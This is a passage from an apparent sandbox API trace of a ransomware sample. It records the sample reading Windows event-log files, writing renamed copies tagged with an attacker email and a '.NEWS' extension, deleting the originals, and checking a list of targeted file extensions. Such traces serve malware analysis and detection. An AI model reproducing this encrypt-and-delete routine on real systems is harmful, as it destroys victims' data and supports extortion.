lpNewFilePointer=0x0) returned 1 [0078.576] SetEndOfFile (hFile=0x344) returned 1 [0078.577] CloseHandle (hObject=0x344) returned 1 [0078.577] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.578] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0078.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.578] lstrlenW (lpString=".doc") returned 4 [0078.578] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".docx") returned 5 [0078.578] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.578] lstrlenW (lpString=".pdf") returned 4 [0078.578] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".xls") returned 4 [0078.578] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".xlsx") returned 5 [0078.578] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.578] lstrlenW (lpString=".ppt") returned 4 [0078.578] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.578] lstrlenW (lpString=".zip") returned 4 [0078.578] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".rar") returned 4 [0078.578] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".bz2") returned 4 [0078.578] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.578] lstrlenW (lpString=".7z") returned 3 [0078.578] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.578] lstrlenW (lpString=".dbf") returned 4 [0078.578] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".1cd") returned 4 [0078.579] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".jpg") returned 4 [0078.579] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".doc") returned 4 [0078.579] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".docx") returned 5 [0078.579] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.579] lstrlenW (lpString=".pdf") returned 4 [0078.579] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".xls") returned 4 [0078.579] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".xlsx") returned 5 [0078.579] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.579] lstrlenW (lpString=".ppt") returned 4 [0078.579] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".zip") returned 4 [0078.579] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".rar") returned 4 [0078.579] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".bz2") returned 4 [0078.579] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString=".7z") returned 3 [0078.579] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".dbf") returned 4 [0078.579] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.579] lstrlenW (lpString=".1cd") returned 4 [0078.580] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.580] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0078.580] lstrlenW (lpString=".jpg") returned 4 [0078.580] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.580] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.580] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0078.580] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.580] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.580] CloseHandle (hObject=0x344) returned 1 [0078.580] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0078.581] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.581] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.581] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.581] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.581] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.581] GetLastError () returned 0x0 [0078.581] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.584] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.586] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.586] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x134, lpOverlapped=0x0) returned 1 [0078.586] SetEndOfFile (hFile=0x384) returned 1 [0078.586] CloseHandle (hObject=0x384) returned 1 [0078.589] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.589] SetEndOfFile (hFile=0x344) returned 1 [0078.590] CloseHandle (hObject=0x344) returned 1 [0078.590] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.591] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0078.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.591] lstrlenW (lpString=".doc") returned 4 [0078.591] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".docx") returned 5 [0078.591] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.591] lstrlenW (lpString=".pdf") returned 4 [0078.591] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".xls") returned 4 [0078.591] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".xlsx") returned 5 [0078.591] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.591] lstrlenW (lpString=".ppt") returned 4 [0078.591] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.591] lstrlenW (lpString=".zip") returned 4 [0078.591] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".rar") returned 4 [0078.591] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".bz2") returned 4 [0078.591] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.591] lstrlenW (lpString=".7z") returned 3 [0078.591] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.591] lstrlenW (lpString=".dbf") returned 4 [0078.591] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString=".1cd") returned 4 [0078.592] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString=".jpg") returned 4 [0078.592] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString=".doc") returned 4 [0078.592] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".docx") returned 5 [0078.592] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.592] lstrlenW (lpString=".pdf") returned 4 [0078.592] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".xls") returned 4 [0078.592] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".xlsx") returned 5 [0078.592] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.592] lstrlenW (lpString=".ppt") returned 4 [0078.592] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString=".zip") returned 4 [0078.592] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".rar") returned 4 [0078.592] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".bz2") returned 4 [0078.592] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.592] lstrlenW (lpString=".7z") returned 3 [0078.592] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.592] lstrlenW (lpString=".dbf") returned 4 [0078.592] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.593] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.593] lstrlenW (lpString=".1cd") returned 4 [0078.593] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.593] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0078.593] lstrlenW (lpString=".jpg") returned 4 [0078.593] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.593] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.593] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0078.593] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.593] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.593] CloseHandle (hObject=0x344) returned 1 [0078.595] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0078.595] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.595] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.595] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.596] GetLastError () returned 0x0 [0078.596] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.599] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.601] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.601] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x128, lpOverlapped=0x0) returned 1 [0078.601] SetEndOfFile (hFile=0x384) returned 1 [0078.602] CloseHandle (hObject=0x384) returned 1 [0078.969] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.969] SetEndOfFile (hFile=0x344) returned 1 [0078.970] CloseHandle (hObject=0x344) returned 1 [0078.970] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.970] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0078.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.971] lstrlenW (lpString=".doc") returned 4 [0078.971] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".docx") returned 5 [0078.971] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.971] lstrlenW (lpString=".pdf") returned 4 [0078.971] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".xls") returned 4 [0078.971] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".xlsx") returned 5 [0078.971] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.971] lstrlenW (lpString=".ppt") returned 4 [0078.971] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.971] lstrlenW (lpString=".zip") returned 4 [0078.971] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".rar") returned 4 [0078.971] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".bz2") returned 4 [0078.971] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString=".7z") returned 3 [0078.971] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.971] lstrlenW (lpString=".dbf") returned 4 [0078.971] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.971] lstrlenW (lpString=".1cd") returned 4 [0078.972] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".jpg") returned 4 [0078.972] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".doc") returned 4 [0078.972] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".docx") returned 5 [0078.972] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.972] lstrlenW (lpString=".pdf") returned 4 [0078.972] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".xls") returned 4 [0078.972] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".xlsx") returned 5 [0078.972] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.972] lstrlenW (lpString=".ppt") returned 4 [0078.972] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".zip") returned 4 [0078.972] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".rar") returned 4 [0078.972] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".bz2") returned 4 [0078.972] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString=".7z") returned 3 [0078.972] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".dbf") returned 4 [0078.972] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".1cd") returned 4 [0078.972] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0078.972] lstrlenW (lpString=".jpg") returned 4 [0078.973] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.973] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.973] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0078.973] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.973] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.973] CloseHandle (hObject=0x344) returned 1 [0078.973] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0078.973] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.973] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.973] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.973] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.973] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.974] GetLastError () returned 0x0 [0078.974] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.976] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.978] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.978] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x114, lpOverlapped=0x0) returned 1 [0078.979] SetEndOfFile (hFile=0x384) returned 1 [0078.979] CloseHandle (hObject=0x384) returned 1 [0078.981] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.981] SetEndOfFile (hFile=0x344) returned 1 [0078.982] CloseHandle (hObject=0x344) returned 1 [0078.982] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.983] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0078.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.983] lstrlenW (lpString=".doc") returned 4 [0078.983] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".docx") returned 5 [0078.983] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.983] lstrlenW (lpString=".pdf") returned 4 [0078.983] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".xls") returned 4 [0078.983] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".xlsx") returned 5 [0078.983] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.983] lstrlenW (lpString=".ppt") returned 4 [0078.983] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.983] lstrlenW (lpString=".zip") returned 4 [0078.983] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".rar") returned 4 [0078.983] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".bz2") returned 4 [0078.983] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString=".7z") returned 3 [0078.983] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.983] lstrlenW (lpString=".dbf") returned 4 [0078.983] lstrcmpiW (lpString1=".dbf", 